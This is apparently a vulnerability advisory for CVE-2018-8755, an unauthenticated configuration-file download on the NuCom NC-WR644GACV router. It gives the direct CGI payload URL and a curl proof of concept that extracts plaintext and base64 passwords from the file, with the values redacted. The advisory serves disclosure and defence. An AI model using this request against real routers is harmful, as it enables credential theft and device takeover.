NuCom NC-WR644GACV Unauthenticated Configuration File Download

`Overview  
========  
Researchers of NVEL4 Cybersecurity company have discovered that it is  
possible to access to the config file bypassing admin authentication and  
authorization. The vulnerability has been reported to the vendor. The  
vendor has confirmed the vulnerability but not issued to security advisory.  
  
The recommendation to affected users is to update to the latest available  
version and change the credentials used, since they could have been  
extracted.  
  
Some NuCom routers are exposed to internet.  
  
  
Product Details  
=============  
* Type: Router / Access Point (Wireless Dual Band Gigabit VoIP Router)  
* Vendor: NuCom  
* Model Name: NC-WR644GACV  
* Vulnerable Software Version: <= STA 005  
* Fixed Software Version: STA 006  
  
Vulnerability Details  
===================  
* CVE: 2018-8755  
* Name: Unauthenticated Configuration File Download  
* Type: Authentication / Authorization Bypass  
* Description: An unauthorizated user can download config file by  
accessing to the URL directly  
* Payload: http://[hostname]/cgi-bin/config_download.cgi?action=download  
* Impact: By downloading the config file an attacker can read all  
password stored in plain-text and base64 then access vie web as  
administrator and gain privileged control of the device.  
* CVSS v3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
* CVSS v3 Score: 7.5  
  
PoC  
====  
  
zerial@home:~$ curl -s "http://vulnerable.hostname/  
cgi-bin/config_download.cgi?action=download"|strings|grep -i password  
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password_realtext=[PLAIN  
PASSWORD HERE]  
InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.  
WANPPPConnection.1.Password=[BASE64 PASSWORD HERE]  
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password_realtext=[PLAIN  
TEXT PASSWORD HERE]  
InternetGatewayDevice.LANDevice.1.WLANConfiguration.5.WPS.PeerPassword=[PLAIN  
TEXT PASSWORD HERE]  
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password=[SHA256  
PASSWORD HERE]  
InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password=[SHA256  
PASSWORD HERE]  
InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS.PeerPassword=[PLAIN  
TEXT PASSWORD HERE]  
InternetGatewayDevice.ManagementServer.Password=[BASE64 PASSWORD HERE]  
InternetGatewayDevice.ManagementServer.ConnectionRequestPassword=[BASE64  
PASSWORD HERE]  
zerial@home:~$  
  
*** Sensitive information has been removed and replaced by [...]  
  
  
  
References  
===========  
https://blog.nivel4.com/investigaciones/vulnerabilidad-en-los-dispositivos-nucom-wr644gacv/  
<https://blog.nivel4.com>  
https://twitter.com/n4security  
https://twitter.com/Zerial  
  
  
  
  
cheers,  
--   
Fernando A. Lagos Berardi - Zerial  
Seguridad Informatica  
Linux User #382319  
Blog: https://blog.zerial.org  
  
  
`